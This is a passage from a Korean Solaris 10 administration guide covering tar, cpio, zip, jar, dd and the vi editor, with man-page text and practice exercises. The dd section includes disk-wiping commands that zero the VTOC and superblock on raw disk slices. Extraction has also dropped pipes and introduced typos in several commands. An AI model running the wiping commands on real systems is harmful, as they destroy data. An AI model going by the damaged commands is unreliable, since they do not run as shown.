옵션들을사용할수있다. 한개의아카이빙할때는 c 옵션을사용하고 f 옵션으로만들어질파일의이름을지정하면된다. 아카이빙파일의내용을볼때는 t 옵션을사용하고 f 옵션으로아카이빙파일을지정한다. 아카이빙파일을해제할때는 x 옵션을사용하고 f 옵션으로아카이빙파일을지정하면된다. 만약 file1(1kb), file2(1kb), file3(1kb) 파일들을 tar 명령어를통해아카이빙하게되면, 압축하는것이아니기때문에용량은늘어난다. 이것은 3 개의파일의용량을한개의파일 ( 예 : file.tar) 로만드는것외에도아카이빙파일안에는아카이빙되었다는정보가들어가야하기때문이다

183 ( 명령어형식 ) # tar cvf file.tar file1 file2 file3 /* 파일들아카이빙 */ (c: create, v:verbose, f:file or tape) # tar tvf file.tar /* 아카이빙파일목록확인 */ (t: contents) # tar xvf file.tar /* 아키이빙해제 */ (x: extract) [ 참고 ] 테이프백업방법 (Tape Device Backup) # tar cvf /dev/rmt/0 /export/home # tar cvf /dev/rmt/0 file1 file2 file3 [ 참고 ] gtar (GNU tar) gtar (GNU tar) /usr/sfw/bin/gtar 명령어를사용하면 z 옵션을사용할수있다. 기본명령어 (/usr/bin/tar) 는 GNU tar 명령어는아니므로 z 옵션이존재하지않는다. 솔라리스기본적으로 gtar 명령어를내장하고있다. 따라서 GNU tar 명령어를사용하기위해서는 /usr/sfw/bin/gtar 명령어를사용하면된다. GNU tar 명령어를쉽게사용하기위해서 alias 를사용할수있다. # alias tar='/usr/sfw/bin/gtar' 위와같은별칭 (alias) 설정은환경파일 ( 예 : ~/.kshrc) 에설정을한다. [EX1] tar 명령어실습 ( 실습준비 ) /test file1 (# cp /etc/passwd file1) +--- file2 (# cp file1 file2) +--- file3 (# cp file1 file3) (tar 명령어를사용한실습 ) # tar cvf file.tar file1 file2 file3 /* 아카이빙실행 */ a file1 1K a file2 1K a file3 1K # ls -l file* -rw-r--r-- 1 root root 5632 Dec 8 23:34 file.tar -rw-r--r-- 1 root root 762 Dec 8 23:33 file1 -rw-r--r-- 1 root root 762 Dec 8 23:33 file2 -rw-r--r-- 1 root root 762 Dec 8 23:33 file3 # rm file1 file2 file3 # tar tvf file.tar /* 아카이빙확인 */ tar: blocksize = 11 -rw-r--r-- 0/0 762 Dec 8 23: file1 -rw-r--r-- 0/0 762 Dec 8 23: file2 -rw-r--r-- 0/0 762 Dec 8 23: file3 # tar xvf file.tar /* 아카이빙해제 */ x file1, 762 bytes, 2 tape blocks x file2, 762 bytes, 2 tape blocks x file3, 762 bytes, 2 tape blocks # ls -l file* /* 복구된파일들확인 */

184 디렉토리마이그레이션 (Migration) [ 참고 ] 디렉토리마이그레이션 (Migration) 한개의디렉토리 ( 예 : /test1) 의모든내용을다른디렉토리 ( 예 : /test) 로마이그레이션작업을하는경우, 디렉토리의안의모든파일의종류을알수없다면백업하는명령어 (tar, cpio, ufsdump, ufsrestore 등 ) 를통해마이그레이션 (Migration) 작업을수행해야한다. 그렇지않으면옮겨지지않는파일이생기거나파일의정보들이그대로옮겨지지않을가능성이존재한다. 백업하는명령어나복구하는명령어는그대로백업해서그대로복구하기위해서만들어졌기때문에반드시백업 / 복구명령어를사용하여야한다. ( 백업하는명령어를사용해야하는이유 ) 작업내용 : /test1 => /test2 # mkdir -p /test1 # mkdir -p /test2 # cd /test1 # cp -p /etc/passwd file1 /* file1 : 일반파일 */ # ln -s file1 file2 /* file2 : 링크파일 */ # cp -p /usr/bin/ls file3 /* file3 : 실행파일 */ # cp -p /.profile.file4 /*.file4 : 환경파일 */ # mkdir dir1 /* dir1 : 디렉토리파일 */ # cp -r /test1/* /test2 (# ls -al /test1 /test2) # ls -al /test1 < 두개의폴더내용이같은가? # ls -al /test2 < (tar 명령어를사용한디렉토리마이그레이션 ) 작업내용 : /test1 => /test2 # cd /test1 # tar cvf -. (cd /test2 ; tar xvf -) (tar 명령어를사용한디렉토리마이그레이션 ) # cd # rm -r /test1 # rm -r /test2 # mkdir -p /test1 # mkdir -p /test2 # cd /test1 # cp -p /etc/passwd file1 /* file1 : 일반파일 */ # ln -s file1 file2 /* file2 : 링크파일 */ # cp -p /usr/bin/ls file3 /* file3 : 실행파일 */ # cp -p /.profile.file4 /*.file4 : 환경파일 */ # mkdir dir1 /* dir1 : 디렉토리 */ # cd /test1 # tar cvf -. (cd /test2 ; tar xvfp -) # ls -al /test1 < 두개의폴더내용이같은가? # ls -al /test2 < [ 참고 ] 디렉토리마이그레이션검증방법 (EX: ls lr wc l) # dircmp /test1 /test2 # diff -r /test1 /test

185 [ 참고 ] 특정한디렉토리제외하고백업 가끔디렉토리단위의백업 (EX: tar 명령어사용 ) 을받다보면지정된전체디렉토리를백업받는것이아니라, 지정된디렉토리하위의일부디렉토리를제외하고받아야하는경우가있다. 이런경우에는 GNU tar 명령어의 --exclude 옵션을사용하면된다. GNU tar 명령어를사용하여특정한디렉토리를제외하고백업 ( 아카이빙 + 압축 ) - 백업명령어 : /usr/sfw/bin/gtar - 백업디렉토리 : /test/notes - 제외할디렉토리 : /test/notes/domino # /usr/sfw/bin/gtar cvzf /test/backup.tar.gz \ --exlucde=/test/notes/domino \ --exlucde=/test/notes/dominb \ --absolute-name /test/notes [EX1] 실습 # cd /test # rm -rf /test/* # /usr/sfw/bin/gtar cvzf /backup/all.tar.gz \ --exclude=/backup \ --exclude=/tmp \ --exclude=/proc \ --exclude=... --absolute-name / # mkdir notes dir1 dir2 # mkdir notes/domino # cp /etc/passwd file1 # cp file1 notes/file1 # cp file1 dir1/file2 # cp file1 dir2/file3 # cp file1 notes/domino/file4 # /usr/sfw/bin/gtar cvzf /test/backup.tar.gz \ --exclude=/test/notes/domino \ --absolute-name /test/notes # /usr/sfw/bin/gtar tvzf /test/backup.tar.gz

186 cpio 명령어 NAME cpio - copy file archives in and out DESCRIPTION The cpio command copies files into and out of a cpio archive. The cpio archive may span multiple volumes. The -i, -o, and -p options select the action to be performed. The following list describes each of the actions. These actions are mutually exclusive. Copy In Mode cpio -i (copy in) extracts files from the standard input, which is assumed to be the product of a previous cpio -o command. Only files with names that match one of the patterns are selected. See sh(1) and OPERANDS for more information about pattern. Extracted files are conditionally copied into the current directory tree, based on the options described below. The permissions of the files will be those of the previous cpio -o command. The owner and group will be the same as the current user, unless the current user is the super-user. If this is the case, owner and group will be the same as those resulting from the previous cpio -o command. Notice that if cpio -i tries to create a file that already exists and the existing file is the same age or younger (newer), cpio will output a warning message and not replace the file. The -u option can be used to unconditionally overwrite the existing file. Copy Out Mode cpio -o (copy out) reads a list of file path names from the standard input and copies those files to the standard output, together with path name and status information in the form of a cpio archive. Output is padded to an 8192-byte boundary by default or to the user-specified block size (with the -B or -C options) or to some device-dependent block size where necessary (as with the CTC tape). Pass Mode cpio -p (pass) reads a list of file path names from the standard input and conditionally copies those files into the destination directory tree, based on the options described below. Note: cpio assumes four-byte words. If, when writing to a character device (-o) or reading from a character device (-i), cpio reaches the end of a medium (such as the end of a diskette), and the -O and -I options are not used, cpio prints the following message: To continue, type device/file name when ready. To continue, you must replace the medium and type the character special device name (/dev/rdiskette for example) and press RETURN. You may want to continue by directing cpio to use a different device. For example, if you have two floppy drives you may want to switch between them so cpio can proceed while you are changing the floppies. Press RETURN to cause the cpio process to exit. OPTIONS -i (copy in) Reads an archive from the standard input and conditionally extracts the files contained in it and places them into the current directory tree. -o (copy out) Reads a list of file path names from the standard input and copies those files to the standard output in the form of a cpio archive. -p (pass) Reads a list of file path names from the standard input and conditionally copies those files into the destination directory tree. -c Reads or writes header information in ASCII character

187 form for portability. There are no UID or GID restrictions associated with this header format. Use this option between SVR4-based machines, or the -H odc option between unknown machines. The -c option implies the use of expanded device numbers, which are only supported on SVR4-based systems. When transferring files between SunOS 4 or Interactive UNIX and the Solaris 2.6 Operating environment or compatible versions, use -H odc. -v Verbose. Prints a list of file and extended attribute names. When used with the -t option, the table of contents looks like the output of an ls -l command (see ls(1)). -b Reverses the order of the bytes within each word. Use only with the -i option. -B Blocks input/output 5120 bytes to the record. The default buffer size is 8192 bytes when this and the -C options are not used. -B does not apply to the -p -d Creates directories as needed. -m Retains previous file modification time. This option is ineffective on directories that are being copied. -I file Reads the contents of file as an input archive, instead of the standard input. If file is a character special device, and the current medium has been completely read, replace the medium and press <RETURN> to continue to the next medium. This option is used only with the -i option. -O file Directs the output of cpio to file, instead of the standard output. If file is a character special device and the current medium is full, replace the medium and type a carriage return to continue to the next medium. Use only with the -o option. cpio 는표준입력으로부터파일의이름을입력받고, 표준출력으로목록명을얻어서하나또는복수개의파일을압축하는데사용된다. cpio 는 3 개의다른모드가존재한다. Copy In Mode : cpio -i, 표준입력으로들어온파일들을 extract 한다. Copy Out Mode : cpio -o, 표준입력으로부터파일이름을얻어서이들파일을가지고그들의 pathname과함께, 새로운파일 ( 아카이빙파일 ) 을생성한다. Pass Mode : cpio -in, copy-out 모드와같다. 다만새로운파일이생기는것이아니라디렉토리구조를그대로 copy 한다는것만다르다. ( 명령어형식예 ) # ls cpio -ocv -O <archive_file> /* 현재디렉토리의파일들을 archive_file 로아카이빙 */ # find. -print cpio -ocv -O <archive_file> # find. -print cpio -ocv > <archive_file> # cpio -ivt -I <archive_file> /* archive_file 의내용을확인 */ # cpio -ivum -I <archive_file> /* archive_file 의내용을현재디렉토리에 unarchive */ (cpio 백업 ) cpio -ov <files> > <device> # cd /export/home # find. cpio -ov > /dev/rmt/0 (cpio 확인 ) cpio -itv < <device> # cpio -itv < /dev/rmt/0 (cpio 복구 ) cpio -iv[-dum] [files] < <device> # cpio -ivdum "/export/home/j*" < /dev/rmt/

188 옵션 설 명 -a -i와함께사용하여파일접근시간을리셋 -A -o와함께사용하여아카이브에 append -d -i와 -p와함께사용하여필요하면디렉토리를생성 -i file archive로부터추출하여 copy in -I file -i와함께사용하여 input archive로 file의내용을읽음 -L -o와 -p와함께사용하여심볼릭링크를따름 -m -i와 -p와함께사용하여변경된시간을그대로유지함 -o archive를생성하여 copy out -O file -o와함께사용하여 output archive로 file을사용 -p 입력을출력에패스시킴 -t -i와함께사용하여내용에대한 archive table을출력 ; 파일들이생성되지않음 -u -i와 -p와함께사용하여무조건파일들을복사 ; 기존파일은새파일로덮어씀 -v verbose 모드로파일이름이출력됨 ( 다른사용예 ) # find. -print cpio -o[abcv] > file.list # cpio -ivt < file.list # cpio -i[cdlmv] < file.list # find. -print cpio -p[adlmuv] directory [EX1] 현재디렉토리를 tape 에 Backup # find. -print cpio -ocvb > /dev/rmt/0 [EX2] Tape 의목차를출력 # cpio -ibtv < /dev/rmt/0 [EX3] Backup 받은 tape 로부터 restore # cpio -ibvd < /dev/rmt/0 [EX4] 특정파일을 find 명령어로출력하여 archive file 로 restore # find. -name 'file*' -print cpio -ocvb > file.list [EX5] 디렉토리 /export/home/user01 디렉토리를 /export/home/user02 로 backup # cd /export/home/user01 # find. -print cpio -pdmv /export/home/user02 [EX6] 현재디렉토리파일들을새로운파일 (newfile) 로아키이빙 # ls cpio -ocv > /test/newfile [EX7] 디렉토리안에서파일풀기 # cd /test # cat newfile cpio -icd "memo/a1" "memo/b*"

189 [EX8] cpio 명령어실습 ( 실습준비 ) /test file1 (# cp /etc/passwd file1) +--- file2 (# cp file1 file2) +--- file3 (# cp file1 file3) # ls file1 file2 file3 ( 선언 ) # find. cpio -ocv > file.cpio ( 확인 ) # cpio -itv < file.cpio ( 해제 ) # cpio -idv < file.cpio # find. cpio -ocv > file.cpio /* 아카이빙실행 */. file1 file2 file3 16 blocks # find. cpio -ocv > file.cpio # find. cpio -ocv -O file.cpio # cpio -itv < file.cpio /* 아카이빙확인 */ drwxrwxrwx 2 root root 0 Dec 4 16: ,. -rw-r--r-- 1 root root 909 Dec 4 16: , file1 -rw-r--r-- 1 root root 909 Dec 4 16: , file2 -rw-r--r-- 1 root root 909 Dec 4 16: , file3 16 blocks # cpio -itv < file.cpio # cpio -itv -I file.cpio (I : 대문자 i) # rm file? # cpio -idum < file.cpio /* 아카이빙해제 */ # cpio -ivdum < file.cpio # cpio -ivdum -I file.cpio (I: 대문자 i) # ls file.cpio file1 file2 file3 ( 정리 ) cpio CMD # cd /test # find. cpio -ocv > file.cpio # cpio -itv < file.cpio # cpio -idv < file.cpio

190 zip/unzip 명령어 NAME zip, zipcloak, zipnote, zipsplit - package and compress (archive) files DESCRIPTION zip is a compression and file packaging utility for Unix, VMS, MSDOS, OS/2, Windows NT, Minix, Atari and Macintosh, Amiga and Acorn RISC OS. It is analogous to a combination of the UNIX commands tar(1) and compress(1) and is compatible with PKZIP (Phil Katz's ZIP for MSDOS systems). A companion program (unzip(1)), unpacks zip archives. The zip and unzip(1) programs can work with archives produced by PKZIP, and PKZIP and PKUNZIP can work with archives produced by zip. zip version 2.3 is compatible with PKZIP Note that PKUNZIP 1.10 cannot extract files produced by PKZIP 2.04 or zip 2.3. You must use PKUNZIP 2.04g or unzip 5.0p1 (or later versions) to extract them. For a brief help on zip and unzip, run each without specifying any parameters on the command line. The program is useful for packaging a set of files for distribution; for archiving files; and for saving disk space by temporarily compressing unused files or directories. The zip program puts one or more compressed files into a single zip archive, along with information about the files (name, path, date, time of last modification, protection, and check information to verify file integrity). An entire directory structure can be packed into a zip archive with a single command. Compression ratios of 2:1 to 3:1 are common for text files. zip has one compression method (deflation) and can also store files without compression. zip automatically chooses the better of the two for each file to be compressed. When given the name of an existing zip archive, zip will replace identically named entries in the zip archive or add entries for new names. For example, if foo.zip exists and contains foo/file1 and foo/file2, and the directory foo contains the files foo/file1 and foo/file3, then: zip -r foo foo will replace foo/file1 in foo.zip and add foo/file3 to foo.zip. After this, foo.zip contains foo/file1, foo/file2, and foo/file3, with foo/file2 unchanged from before. OPTIONS -r Travel the directory structure recursively; for example: zip -r foo foo In this case, all the files and directories in foo are saved in a zip archive named foo.zip, including files with names starting with ".", since the recursion does not use the shell's file-name substitution mechanism. If you wish to include only a specific subset of the files in directory foo and its subdirectories, use the -i option to specify the pattern of files to be included. You should not use -r with the name ".*", since that matches ".." which will attempt to zip up the parent directory (probably not what was intended). -c extract files to stdout/screen (``CRT''). This option is similar to the -p option except that the name of each file is printed as it is extracted, the -a option is allowed, and ASCII-EBCDIC conversion is automatically performed if appropriate. This option is not listed in the unzip usage screen

191 zip 명령어는아카이빙과압축을동시에수행할수있는명령어이다. zip 명령어는여러개의파일을한개의파일로아카이빙하고압축을한다. zip 명령어의 -r 옵션을사용하면디렉토리를아카이빙하고압축할수도있다. unizp 명령어의 -c 옵션을사용하여압축된파일의목록을확인할수있다. unzip 명령어다음에압축된파일을지정하면아카이빙과압축이해제된다. ( 명령어형식 ) 파일압축 # zip file.zip file1 file2 file3 파일압축확인 # unzip -l file.zip 파일압축해제 # unzip file.zip 명령어호환 Unix zip 명령어 <-> Unix jar 명령어 Unix zip 명령어 <-> Window zip 명령어 [ 참고 ] Unix zip & Winodws zip 명령어호환 유닉스에서 zip 명령어를통해아카이빙 / 압축된파일을윈도우시스템으로가지고와서윈도우의알집 (Alzip) 명령어를통해풀수있다. 윈도우시스템의알집명령어를통해아카이빙 / 압축된파일을유닉스시스템으로가지고와서 unzip 명령어를통해해제할수있다. 이렇게호환이가능한이유는 zip 압축 / 해제알고리즘이같기때문이다. [ 참고 ] zip/unzip, bzip2/bunzip2 [ 참고 ] 알집, 빵집, WinZip [EX1] zip 명령어실습 ( 실습준비 ) /test file1 (# cp /etc/passwd file1) +--- file2 (# cp file1 file2) +--- file3 (# cp file1 file3) # zip file.zip file1 file2 file3 /* 압축 + 아카이빙 */ adding: file1 (deflated 49%) adding: file2 (deflated 49%) adding: file3 (deflated 49%) # unzip -l file.zip /* 목록확인 */ Archive: file.zip Length Date Time Name :33 file :33 file :33 file files # unzip -l file.zip /* file.zip 파일안의목록확인 */ # unzip -c file.zip /* file.zip 파일안의목록파일들의내용확인 */

192 # rm file1 file2 file3 # unzip file.zip /* 압축 / 아카이빙해제 */ Archive: file.zip inflating: file1 inflating: file2 inflating: file3 # ls -l -> 파일들확인 [EX2] zip 명령어를사용한디렉토리아카이빙 / 압축 # cp -r /etc/default /test # # zip -r default.zip default /* 디렉토리아카이빙 / 압축실행 */ adding: default/ (stored 0%) adding: default/syslogd (deflated 39%) adding: default/nfs (deflated 61%) adding: default/rpc.nisd (deflated 67%) adding: default/utmpd (stored 0%) adding: default/metassist.xml (deflated 37%) adding: default/devfsadm (deflated 22%) adding: default/tar (deflated 48%)... ( 중략 )... adding: default/nss (deflated 48%) adding: default/dhcpagent (deflated 58%) adding: default/inetinit (deflated 52%) adding: default/ftp (deflated 41%) adding: default/init (deflated 35%) adding: default/sys-suspend (deflated 50%) adding: default/ipsec (deflated 45%) adding: default/autofs (deflated 50%) # unzip -l default.zip /* 목록확인 */ Archive: default.zip Length Date Time Name :53 default/ :53 default/syslogd :53 default/nfs :53 default/rpc.nisd :53 default/utmpd :53 default/metassist.xml :53 default/devfsadm :53 default/tar... ( 중략 ) :53 default/nss :53 default/dhcpagent :53 default/inetinit :53 default/ftp :53 default/init :53 default/sys-suspend :53 default/ipsec :53 default/autofs files

193 # rm -r default # unzip default.zip /* 아카이빙 / 압축해제 */ Archive: default.zip creating: default/ inflating: default/syslogd inflating: default/nfs inflating: default/rpc.nisd extracting: default/utmpd inflating: default/metassist.xml inflating: default/devfsadm inflating: default/tar... ( 중략 )... inflating: default/nss inflating: default/dhcpagent inflating: default/inetinit inflating: default/ftp inflating: default/init inflating: default/sys-suspend inflating: default/ipsec inflating: default/autofs

194 jar 명령어 NAME jar - archive tool for Java archives DESCRIPTION The jar tool combines multiple files into a single JAR archive file. jar is a general-purpose archiving and compression tool, based on ZIP and the ZLIB compression format. However, jar was designed mainly to facilitate the packaging of java applets or applications into a single archive. When the components of an applet or application (.class files, images and sounds) are combined into a single archive, they may be downloaded by a java agent (like a browser) in a single HTTP transaction, rather than requiring a new connection for each piece. This dramatically improves download times. jar also compresses files and so further improves download time. In addition, it allows individual entries in a file to be signed by the applet author so that their origin can be authenticated. The syntax for the jar tool is almost identical to the syntax for the tar command. A jar archive can be used as a class path entry, whether it is compressed or not. OPTIONS The following options are supported: c Creates a new archive file named jarfile (if -f is specified) or to standard output (if -f and jarfile are omitted). Add to it the files and directories specified by inputfiles. x Extracts files and directories from jarfile (if -f is specified) or standard input (if -f and jarfile are omitted). If inputfiles is specified, only those specified files and directories are extracted. Otherwise, all files and directories are extracted. t f f v Lists the table of contents from jarfile (if -f is specified) or standard input (if -f and jarfile are omitted). If inputfiles is specified, only those specified files and directories are listed. Otherwise, all files and directories are listed. Specifies the file jarfile to be created (-c), updated (-u), extracted (-x), indexed (-i), or viewed (-t). The -f option and filename jarfile are a pair -- if present, they must both appear. Omitting -f and jarfile accepts a "jar file" from standard input (for -x and -t) or sends the "jar file" to standard output (for -c and -u). Specifies the file jarfile to be created (-c), updated (-u), extracted (-x), indexed (-i), or viewed (-t). The -f option and filename jarfile are Generates verbose output to standard output. Examples shown below

195 jar(/usr/java/bin/jar) 명령어는자바기술로만들어진툴이다. 아카이빙과압축을동시에수행할수있는명령어이다. jar 명령어는 tar 명령어수행하는방식과비슷하다. tar 명령어는아카이빙만수행하고, jar 명령어는아카이빙과압축을수행하는명령어라는것이차이점이다. ( 명령어형식 ) # jar cvf file.jar file1 file2 file3 /* jar 파일생성 ( 압축 + 아카이빙 ) */ # jar tvf file.jar /* jar 파일의내용확인 */ # jar xvf file.jar /* jar 파일해제 */ [EX1] jar 명령어실습 ( 실습준비 ) /test file1 (cp /etc/passwd file1) +--- file2 (cp file1 file2) +--- file3 (cp file1 file3) # jar cvf file.jar file1 file2 file3 added manifest adding: file1(in = 762) (out= 391)(deflated 48%) adding: file2(in = 762) (out= 391)(deflated 48%) adding: file3(in = 762) (out= 391)(deflated 48%) # jar tvf file.jar 0 Tue Dec 08 23:58:56 KST 2009 META-INF/ 71 Tue Dec 08 23:58:56 KST 2009 META-INF/MANIFEST.MF 762 Tue Dec 08 23:58:42 KST 2009 file1 762 Tue Dec 08 23:58:44 KST 2009 file2 762 Tue Dec 08 23:58:46 KST 2009 file3 # rm file1 file2 file3 # jar xvf file.jar created: META-INF/ inflated: META-INF/MANIFEST.MF inflated: file1 inflated: file2 inflated: file3 [ 예제1] 파일의확장자의종류와압축해제방법 file.z -> compress --- 압축해제 ---> # uncompress file.z file.gz -> gzip --- 압축해제 ---> # gzip -d file.gz file.zip -> zip --- 압축해제 ---> # unzip file.zip file.jar -> jar --- 압축해제 ---> # jar xvf file.jar [ 예제 2] file.tar.gz 압축 / 아카이빙해제 파일의이름 : file.tar.gz # gzip -d file.tar.gz file.tar # tar xvf file.tar [ 참고 ] Uncompress + Unarchiving 동시에수행 file.tar.z -> # zcat file.tar.z tar xvf - file.tar.gz -> # gzcat file.tar.gz tar xvf - file.zip -> # unzip file.zip file.jar -> # jar xvf file.jar

196 dd CMD NAME dd - convert and copy a file DESCRIPTION The dd utility copies the specified input file to the specified output with possible conversions. The standard input and output are used by default. The input and output block sizes may be specified to take advantage of raw physical I/O. Sizes are specified in bytes; a number may end with k, b, or w to specify multiplication by 1024, 512, or 2, respectively. Numbers may also be separated by x to indicate multiplication. The dd utility reads the input one block at a time, using the specified input block size. dd then processes the block of data actually returned, which could be smaller than the requested block size. dd applies any conversions that have been specified and writes the resulting data to the output in blocks of the specified output block size. cbs is used only if ascii, asciib, unblock, ebcdic, ebcdicb, ibm, ibmb, or block conversion is specified. In the first two cases, cbs characters are copied into the conversion buffer, any specified character mapping is done, trailing blanks are trimmed, and a NEWLINE is added before sending the line to output. In the last three cases, characters up to NEWLINE are read into the conversion buffer and blanks are added to make up an output record of size cbs. ASCII files are presumed to contain NEWLINE characters. If cbs is unspecified or 0, the ascii, asciib, ebcdic, ebcdicb, ibm, and ibmb options convert the character set without changing the input file's block structure. The unblock and block options become a simple file copy. After completion, dd reports the number of whole and partial input and output blocks. OPERANDS The following operands are supported: if=file Specifies the input path. Standard input is the default. of=file Specifies the output path. Standard output is the default. If the seek=expr conversion is not also specified, the output file will be truncated before the copy begins, unless conv=notrunc is specified. If seek=expr is specified, but conv=notrunc is not, the effect of the copy will be to preserve the blocks in the output file over which dd seeks, but no other portion of the output file will be preserved. (If the size of the seek plus the size of the input file is less than the previous size of the output file, the output file is shortened by the copy.) bs=n Sets both input and output block sizes to n bytes, superseding ibs= and obs=. If no conversion other than sync, noerror, and notrunc is specified, each input block is copied to the output as a single block without aggregating short blocks. skip=n Skips n input blocks (using the specified input block size) before starting to copy. On seekable files, the implementation reads the blocks or seeks past them. On non-seekable files, the blocks are read and the data is discarded. seek=n Skips n blocks (using the specified output block size) from beginning of output file before copying. On nonseekable files, existing blocks are read and space from the current end-of-file to the specified offset, if any, is filled with null bytes. On seekable files, the implementation seeks to the specified offset or

197 reads the blocks as described for non-seekable files. count=n Copies only n input blocks. ( 명령어형식 ) # dd if=filename of=filename bs=n seek=n skip=n count=n (if : Input File, of : Output File, bs : Block Size) [EX1] 큰파일생성 (Big File creation) # dd if=/dev/zero of=/swap/swapfile bs=1024 count= [EX2] VTOC/Super Block 삭제 # dd if=/dev/zero of=/dev/rdsk/c0t0d0s4 bs=512 count=1 # dd if=/dev/zero of=/dev/rdsk/c0t0d0s4 bs=512 count=32 # dd if=/dev/zero of=/dev/rdsk/c0t0d0s1 bs=512 skeep=11 count=1 [EX3] 디스크마이그레이션 (Disk Migration) # dd if=/dev/dsk/c0t0d0s2 of=/dev/dsk/c0t1d0s2 # dd if=/dev/rdsk/c0t0d0s2 of=/dev/rdsk/c0t1d0s2 bs=4096 # dd if=/dev/rdsk/c0t0d0s2 of=/dev/rdsk/c0t1d0s2 bs=128k [EX4] 테잎장치에백업 # dd if=/dev/rdsk/c0t0d0s7 of=/dev/rmt/0 # dd if=/dev/rmt/0 of=/dev/rmt/1 [ 참고문서 ] 디스크마이그레이션 (Disk Migration) l -> 솔라리스일반자료실게시판 -> 187번자료 -> / 파일시스템이풀 (Full) 발생 -> 하지만, / 파일시스템안에불필요한파일은더이상지울수없을때, -> 새로운디스크 (EX: 용량이큰디스크 ) 장착하고 -> 운영체제디스크를마이그레이션할때사용할수있는문서이다. [ 참고문서 ] root F/S에서 /var 디렉토리를따로마이그레이션하는방법 (Disk Migration) l -> 솔라리스레포트제출게시판 ->

198 Solaris 10 Essential Guide 5. Visual Editor l Visual Editor l l l l l Screen-oriented(visual) display editor based on ex Full Screen Editor Vi Mode Command Mode Input Mode Last Line Mode Fuction Move, Delete, Copy & Paste Search & Replace, Undo, Join Line Replace, Save & Quit Vi Environment File(~/.exrc) 솔라리스내에는많은편집기들이내장되어있다. GUI(Graphic User Interface) 방식의편집기도존재하고, CLI(Command Line Interface, TUI(Text User Interface)) 방식의편집기도존재한다. CLI 기반의편집기들은다음과같다. l ex 편집기 l ed 편집기 l vi 편집기 l edit 편집기 l vim 편집기 GUI 기반의편집기들은다음과같다. l gedit 편집기 (gnome-text-editor) => (EX: # gedit /etc/passwd)

199 (1). vi 편집기의특징 (Visual Editor Characteristic) NAME vi, view, vedit - screen-oriented (visual) display editor based on ex DESCRIPTIONS The vi (visual) utility is a display-oriented text editor based on an underlying line editor ex. It is possible to use the command mode of ex from within vi and to use the command mode of vi from within ex. The visual commands are described on this manual page; how to set options (like automatically numbering lines and automatically starting a new output line when you type carriage return) and all ex line editor commands are described on the ex(1) manual page. When using vi, changes you make to the file are reflected in what you see on your terminal screen. The position of the cursor on the screen indicates the position within the file. The view invocation is the same as vi except that the readonly flag is set. The vedit invocation is intended for beginners. It is the same as vi except that the report flag is set to 1, the showmode and novice flags are set, and magic is turned off. These defaults make it easier to learn how to use vi. OPTIONS - -s Suppresses all interactive user feedback. This is useful when processing editor scripts. -L Lists the name of all files saved as the result of an editor or system crash. -r filename Edits filename after an editor or system crash. (Recovers the version of filename that was in the buffer when the crash occurred.) -R Readonly mode. The readonly flag is set, preventing accidental overwriting of the file. COMMAND SUMMARY The vi command modes are summarized in this section. vi Modes Command Normal and initial mode. Other modes return to command mode upon completion. ESC (escape) is used to cancel a partial command. Input Entered by setting any of the following options: Last line a A i I o O c C s S R Arbitrary text can then be entered. Input mode is normally terminated with the ESC character, or, abnormally, with an interrupt. Reading input for : /? or!. Terminate by typing a carriage return. An interrupt cancels termination. AUTHOR vi and ex were developed by The University of California, Berkeley California, Computer Science Division, Department of Electrical Engineering and Computer Science. NOTES Two options, although they continue to be supported, have been replaced in the documentation by options that follow the Command Syntax Standard (see intro(1)). An -r option that is not followed with an option-argument has been replaced by -L and +command has been replaced by -c command. The message file too large to recover with -r option, which is seen when a file is loaded, indicates that the file can

200 be edited and saved successfully, but if the editing session is lost, recovery of the file with the -r option is not possible. The editing environment defaults to certain configuration options. When an editing session is initiated, vi attempts to read the EXINIT environment variable. If it exists, the editor uses the values defined in EXINIT; otherwise the values set in $HOME/.exrc are used. If $HOME/.exrc does not exist, the default values are used. To use a copy of.exrc located in the current directory other than $HOME, set the exrc option in EXINIT or $HOME/.exrc. Options set in EXINIT can be turned off in a local.exrc only if exrc is set in EXINIT or $HOME/.exrc. In order to be used,.exrc in $HOME or the current directory must fulfill these conditions: o o o It must exist. It must be owned by the same userid as the real userid of the process, or the process has appropriate privileges. It is not writable by anyone other than the owner. Tampering with entries in /usr/share/lib/terminfo/?/* or /usr/share/lib/terminfo/?/* (for example, changing or removing an entry) can affect programs such as vi that expect the entry to be present and correct. In particular, removing the "dumb" terminal can cause unexpected problems. Software tabs using ^T work only immediately after the autoindent. Left and right shifts on intelligent terminals do not make use of insert and delete character operations in the terminal. Loading an alternate malloc() library using the environment variable LD_PRELOAD can cause problems for /usr/bin/vi. The vi utility currently has the following limitations: 1. Lines, including the trailing NEWLINE character, can contain no more than 4096 bytes. If a longer line is found, Line too long is displayed in the status line. 2. The editor's temporary work file can be no larger than 128Mb. If a larger temporary file is needed, Tmp file too large is displayed in the status line

201 vi 편집기 (Visual Editor) 는이전에쓰이고있던 ex 편집기를기반으로만들어졌으며 ex 편집기에비해여러가지기능의추가와작업시전체스크린을사용할수있도록변경되었다. ex 편집기는라인편집기 (Line Editor) 였기때문에전체문서에서편집하고있는줄만확인이가능하여작업이불편하였다. 이를보안하여나온것이 vi 편집기이다. vi 편집기는솔라리스 (Solaris) 환경에서뿐만아니라일반적인유닉스환경에서가장보편적으로많이쓰고있는편집기중에한가지이다. vi 편집기외에도 emacs 편집기를사용하는관리자도많이늘어나고있는추세이다. 이것은 vi 편집기가사용상불편한게많기때문이다. 하지만대다수의유닉스관리자들은아직도 vi 편집기를많이사용하고있다. vi 편집기는다음과같은특징을가지고있다. 유닉스 (Unix) 시스템의표준문서편집기이다. 스크린 (Screen) 단위의편집기 (Full Screen Editor) 이다. 문자를입력하고수정할수있는대화식편집기이다. ex 편집기에기반하여만들어졌다. 새파일을생성하고기존파일을편집할수있다. 대부분의유닉스 (Unix) 에서사용한다. 화면전체를이용하는편집기이므로터미널의특성이크게의존한다. 네트워크를통해접속하는경우터미널조정이필요하기도하다. 명령어 / 입력 / 최하위행모드로구분하여작업을한다. vi 편집기의특징 (Visual Editor Characteristic) o 전체화면모드편집기 (Full Screen Editor, Visual Editor) o ex 편집기의기능확장편집기 (vi editor based on ex.) [ 참고 ] Ref_vi_example.txt

